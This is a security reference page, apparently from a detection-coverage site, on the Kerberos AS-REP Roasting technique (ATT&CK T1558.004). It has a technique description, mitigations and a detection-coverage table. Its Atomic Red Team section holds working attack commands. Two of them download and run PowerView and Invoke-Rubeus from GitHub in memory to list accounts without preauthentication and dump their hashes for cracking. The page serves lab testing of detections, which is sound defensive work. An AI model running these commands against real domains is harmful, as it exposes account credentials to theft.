Home/ATT&CK Technique/AS-REP Roasting
ATT&CK Technique

AS-REP Roasting

T1558.004 · credential-access

Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages. Preauthentication offers protection against offline Password Cracking. When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password.

If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password. For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4.

The recovered encrypted data may be vulnerable to offline Password Cracking attacks similarly to Kerberoasting and expose plaintext credentials. An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like PowerShell with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user.

If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.

Windows

Atomic Tests

3
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellwindowsRubeus asreproast
Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast This build targets .NET 4.5. If targeting a different version you will need to compile Rubeus
cmd.exe /c "#{local_folder}\#{local_executable}" asreproast /outfile:"#{local_folder}\#{out_file}"
powershellwindowsGet-DomainUser with PowerView
Utilizing PowerView, run Get-DomainUser to identify domain users. Upon execution, progress and info about users within the domain being scanned will be displayed.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose
powershellwindowsWinPwn - PowerSharpPack - Kerberoasting Using Rubeus
PowerSharpPack - Kerberoasting Using Rubeus technique via function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')
Invoke-Rubeus -Command "asreproast /format:hashcat /nowrap"

Mitigations

3
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1027Password Policies

Set and enforce secure password policies for accounts to reduce the likelihood of unauthorized access. Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse.

Windows Systems
Use Group Policy Management Console (GPMC) to configure
  • Minimum password length (e.g., 12+ characters).
  • Password complexity requirements.
  • Password history (e.g., disallow last 24 passwords).
  • Account lockout duration and thresholds.
Linux Systems
Configure Pluggable Authentication Modules (PAM)
  • Use pam_pwquality to enforce complexity and length requirements.
  • Implement pam_tally2 or pam_faillock for account lockouts.
  • Use pwunconv to disable password reuse.
Password Managers
  • Enforce usage of enterprise password managers (e.g., Bitwarden, 1Password, LastPass) to generate and store strong passwords.
Password Blacklisting
  • Use tools like Have I Been Pwned password checks or NIST-based blacklist solutions to prevent users from setting compromised passwords.
Regular Auditing
  • Periodically audit password policies and account configurations to ensure compliance using tools like LAPS (Local Admin Password Solution) and vulnerability scanners.
Tools for Implementation Windows
  • Group Policy Management Console (GPMC): Enforce password policies.
  • Microsoft Local Administrator Password Solution (LAPS): Enforce random, unique admin passwords.
Linux/macOS
  • PAM Modules (pam_pwquality, pam_tally2, pam_faillock): Enforce password rules.
  • Lynis: Audit password policies and system configurations.
Cross-Platform
  • Password Managers (Bitwarden, 1Password, KeePass): Manage and enforce strong passwords.
  • Have I Been Pwned API: Prevent the use of breached passwords.
  • NIST SP 800-63B compliant tools: Enforce password guidelines and blacklisting.
M1041Encrypt Sensitive Information

Protect sensitive information at rest, in transit, and during processing by using strong encryption algorithms. Encryption ensures the confidentiality and integrity of data, preventing unauthorized access or tampering.

Encrypt Data at Rest
  • Use Case: Use full-disk encryption or file-level encryption to secure sensitive data stored on devices.
  • Implementation: Implement BitLocker for Windows systems or FileVault for macOS devices to encrypt hard drives.
Encrypt Data in Transit
  • Use Case: Use secure communication protocols (e.g., TLS, HTTPS) to encrypt sensitive data as it travels over networks.
  • Implementation: Enable HTTPS for all web applications and configure mail servers to enforce STARTTLS for email encryption.
Encrypt Backups
  • Use Case: Ensure that backup data is encrypted both during storage and transfer to prevent unauthorized access.
  • Implementation: Encrypt cloud backups using AES-256 before uploading them to Amazon S3 or Google Cloud.
Encrypt Application Secrets
  • Use Case: Store sensitive credentials, API keys, and configuration files in encrypted vaults.
  • Implementation: Use HashiCorp Vault or AWS Secrets Manager to manage and encrypt secrets.
Database Encryption
  • Use Case: Enable Transparent Data Encryption (TDE) or column-level encryption in database management systems.
  • Implementation: Use MySQL’s built-in encryption features to encrypt sensitive database fields such as social security numbers.
M1047Audit

Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements.

The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures. Auditing is applicable to all systems used within an organization, from the front door of a building to accessing a file on a fileserver. It is considered more critical for regulated industries such as, healthcare, finance and government where compliance requirements demand stringent tracking of user and system activates.

System Audit
  • Use Case: Regularly assess system configurations to ensure compliance with organizational security policies.
  • Implementation: Use tools to scan for deviations from established benchmarks.
Permission Audits
  • Use Case: Review file and folder permissions to minimize the risk of unauthorized access or privilege escalation.
  • Implementation: Run access reviews to identify users or groups with excessive permissions.
Software Audits
  • Use Case: Identify outdated, unsupported, or insecure software that could serve as an attack vector.
  • Implementation: Use inventory and vulnerability scanning tools to detect outdated versions and recommend secure alternatives.
Configuration Audits
  • Use Case: Evaluate system and network configurations to ensure secure settings (e.g., disabled SMBv1, enabled MFA).
  • Implementation: Implement automated configuration scanning tools like SCAP (Security Content Automation Protocol) to identify non-compliant systems.
Network Audits
  • Use Case: Examine network traffic, firewall rules, and endpoint communications to identify unauthorized or insecure connections.
  • Implementation: Utilize tools such as Wireshark, or Zeek to monitor and log suspicious network behavior.

Detection Coverage

0/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) none
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none

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